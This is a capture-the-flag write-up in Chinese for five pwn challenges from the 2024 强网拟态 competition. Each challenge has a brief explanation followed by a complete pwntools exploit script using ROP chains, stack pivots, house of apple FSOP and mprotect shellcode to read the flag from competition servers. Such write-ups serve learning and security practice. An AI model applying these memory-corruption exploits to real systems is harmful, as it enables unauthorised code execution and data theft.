题目:https://github.com/0xviol1t/CTF-challenges/tree/main/2024/%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81/pwn
signin
覆盖种子为0
之后进行伪随机数绕过,栈迁移到堆上进行orw
from pwn import *
from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
debug = 1
if debug:
r = remote("pwn-4a001b90aa.challenge.xctf.org.cn", 9999, ssl=True)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x0000000000401893
heap = 0x4040E0
start = 0x4011B0
c_libc = cdll.LoadLibrary('./libc.so.6')
libc = ELF('./libc.so.6')
def add(index, heapCtx, buf):
r.sendafter(b'>>', p32(0x1))
r.sendafter(b'Index: ', p32(index))
r.sendafter(b'Note: ', heapCtx)
r.send(buf)
def delete(index):
r.sendafter(b'>>', p32(0x2))
r.sendafter(b'Index: ', p32(index))
def auth():
seed = 0
c_libc.srand(seed)
p = b'\x00' * 0x12
r.send(p)
for i in range(100):
num = c_libc.rand() % 100 + 1
r.sendafter(b'code', p64(num))
def show(ptr):
p = b'a' * 0x108 + p64(pop_rdi_ret) + p64(ptr) + p64(puts_plt) + p64(start)
add(0, b'a', p)
auth()
show(puts_got)
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
auth()
add(1, b'a', b'a')
show(heap + 0x8)
r.recvuntil(b'\n')
heap_addr = u64(r.recvuntil('\n')[:-1][-4:].ljust(8, b'\x00'))
auth()
libc_rop = ROP(libc)
rax = libc_rop.find_gadget(['pop rax','ret'])[0] + libc_base
rdi = libc_rop.find_gadget(['pop rdi','ret'])[0] + libc_base
rsi = libc_rop.find_gadget(['pop rsi','ret'])[0] + libc_base
rdx = libc_rop.find_gadget(['pop rdx','ret'])[0] + libc_base
syscall = libc_rop.find_gadget(['syscall','ret'])[0] + libc_base
leave_ret = 0x00000000004013be
ret = 0x000000000040101a
flag = heap_addr + 0x220 + 0x88 + 0x10 + 0x10
code = 0x404e00
orw_rop = p64(rdi) + p64(0) + p64(rsi) + p64(flag) + p64(rdx) + p64(0) + p64(libc.sym['openat'] + libc_base)
orw_rop += p64(rdi) + p64(3) + p64(rsi) + p64(code) + p64(rdx) + p64(0x100) + p64(libc.sym['read'] + libc_base)
orw_rop += p64(rdi) + p64(1) + p64(rsi) + p64(code) + p64(rdx) + p64(0x100) + p64(libc.sym['write'] + libc_base)
orw_rop += b'/flag'.ljust(0x8,b'\x00')
add(1, orw_rop, b'a')
p = b'a' * 0x100 + p64(heap_addr + 0x220 - 0x8) + p64(leave_ret)
add(0, b'a', p)
r.interactive()
signin_revenge
泄露libc
地址之后通过environ
泄露栈地址,栈迁移到栈前面部分
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote("pwn-9c32d4cdb8.challenge.xctf.org.cn", 9999, ssl=True)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def get_libc():
return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x0000000000401393
start = 0x4010B0
libc = ELF('./libc.so.6')
p = b'a' * 0x108 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(start)
r.sendlineafter(b'pwn', p)
libc_base = get_libc() - libc.sym['puts']
environ = libc.sym['environ'] + libc_base
p = b'a' * 0x108 + p64(pop_rdi_ret) + p64(environ) + p64(puts_plt) + p64(start)
r.sendlineafter(b'pwn', p)
stack_addr = get_libc() - 0x3b8
libc_rop = ROP(libc)
rax = libc_rop.find_gadget(['pop rax','ret'])[0] + libc_base
rdi = libc_rop.find_gadget(['pop rdi','ret'])[0] + libc_base
rsi = libc_rop.find_gadget(['pop rsi','ret'])[0] + libc_base
rdx = libc_rop.find_gadget(['pop rdx','ret'])[0] + libc_base
syscall = libc_rop.find_gadget(['syscall','ret'])[0] + libc_base
leave_ret = 0x00000000004012be
ret = 0x000000000040101a
flag = stack_addr + 0x88 + 0x10 + 0x10
code = 0x404500
orw_rop = p64(rdi) + p64(0) + p64(rsi) + p64(flag) + p64(rdx) + p64(0) + p64(libc.sym['openat'] + libc_base)
orw_rop += p64(rdi) + p64(3) + p64(rsi) + p64(code) + p64(rdx) + p64(0x100) + p64(libc.sym['read'] + libc_base)
orw_rop += p64(rdi) + p64(1) + p64(rsi) + p64(code) + p64(rdx) + p64(0x100) + p64(libc.sym['write'] + libc_base)
orw_rop += b'/flag'.ljust(0x8,b'\x00')
p = orw_rop.ljust(0x100, b'\x00') + p64(stack_addr - 0x8) + p64(leave_ret)
r.sendlineafter(b'pwn', p)
r.interactive()
QWEN
当输入的位置越界之后会调用a1
,所以先赢了游戏之后覆盖a1
为backdoor
,可以有限制的读文件,读/proc/self/maps
泄露libc
地址之后打ogg
,直接打会失败,先返回到main
重新运行再打ogg
平衡栈,远程用pwn2
压缩flag
直接cat
拿到flag
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
context.terminal = ['tmux','splitw','-h']
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
debug = 0
if debug:
r = remote("pwn-c9c758156e.challenge.xctf.org.cn", 9999, ssl=True)
else:
r = process(file_name)
def dbg():
gdb.attach(r)
def game(p):
r.sendline('0 0')
r.sendline('0 1')
r.sendline('0 2')
r.sendline('0 3')
r.sendline('0 4')
r.sendafter('say?', p)
r.sendlineafter('game', 'N')
r.sendline('15 15')
bd = 0x1508
p1 = b'a' * 0x8 + p16(bd)
game(p1)
r.sendlineafter('key', str(0x6b8b4567))
r.sendlineafter(b'logged', b'/proc/self/maps')
for i in range(3):
r.recvuntil(b'\n')
code_base = int(r.recv(12), 16)
start = code_base + 0x9E0
main_addr = code_base + 0x17B3
for i in range(3):
r.recvuntil(b'\n')
libc_base = int(r.recv(12), 16)
libc = ELF('./2.27/libc.so.6')
ogg = 0x10a2fc + libc_base
p1 = p64(main_addr) * 6
game(p1)
p1 = b'\x00' * 0x8 + p64(ogg) + p64(0) * 4
game(p1)
r.interactive()
guest book
直接套large bin
的hosue of apple
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote("pwn-f29b87ed3e.challenge.xctf.org.cn", 9999, ssl=True)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def get_libc():
u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def add(index, size):
r.sendlineafter(b'>', b'1')
r.sendlineafter(b'index', str(index))
r.sendlineafter(b'size', str(size))
def edit(index, content):
r.sendlineafter(b'>', b'2')
r.sendlineafter(b'index', str(index))
r.sendlineafter(b'content', content)
def delete(index):
r.sendlineafter(b'>', b'3')
r.sendlineafter(b'index', str(index))
def show(index):
r.sendlineafter(b'>', b'4')
r.sendlineafter(b'index', str(index))
def exit():
r.sendlineafter(b'>', b'5')
add(0, 0x540)
add(1, 0x520)
add(2, 0x530)
delete(0)
libc = ELF('./2.35/libc.so.6')
show(0)
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x21ace0
add(3, 0x550)
edit(0, b'a' * 0x17)
show(0)
r.recvuntil(b'a' * 0x17 + b'\n')
heap_base = u64(r.recvuntil('\n')[:-1].ljust(8, b'\x00')) - 0x290
_IO_list_all = libc_base + libc.sym['_IO_list_all']
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
leave_ret = 0x0000000000114723 + libc_base
one = [0x50a47, 0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd3f, 0xebd43]
one_gadget = one[1] + libc_base
delete(2)
p1 = p64(0) + p64(leave_ret) + p64(heap_base + 0x290) + p64(_IO_list_all - 0x20)
edit(0, p1)
add(4, 0x550)
heap_addr = heap_base + 0x550 + 0x530 + 0x290
setcontext = libc_base + libc.sym['setcontext'] + 61
target_addr = heap_base + 0x550 + 0x530 + 0x290
p2 = b'\x00'
p2 = p2.ljust(0x18, b'\x00') + p64(1)
p2 = p2.ljust(0x90, b'\x00') + p64(heap_addr + 0xe0)
p2 = p2.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps)
p2 = p2.ljust(0xd0 + 0xe0, b'\x00') + p64(target_addr + 0xe0 + 0xe8)
p2 = p2.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(one_gadget)
edit(2, p2)
exit()
r.interactive()
ezcode
json
构造一次mprotect
和read
from pwn import *
import json
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote("pwn-ff73d874f7.challenge.xctf.org.cn", 9999, ssl=True)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def get_libc():
u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
'''
mov ax, 10
shl edi, 12
mov dx, 0x7
syscall
'''
shellcode = b'66 b8 0a 00 c1 e7 0c 66 ba 07 00 0f 05'
'''
cdq
mov esi, edi
xor eax, eax
xor edi, edi
syscall
'''
shellcode += b'99 89 fe 31 c0 31 ff 0f 05 '
shellcode = shellcode.replace(b" ", b"").ljust(0x2b, b'a')
li(hex(len(shellcode)))
data = {
"shellcode": shellcode.decode('utf-8')
}
json_string = json.dumps(data)
r.sendlineafter(b'input', json_string)
shellcode_orw = asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')
r.sendline(b'\x90'*0xff+asm("shl rsp, 12; add rsp, 0x500;")+shellcode_orw)
r.interactive()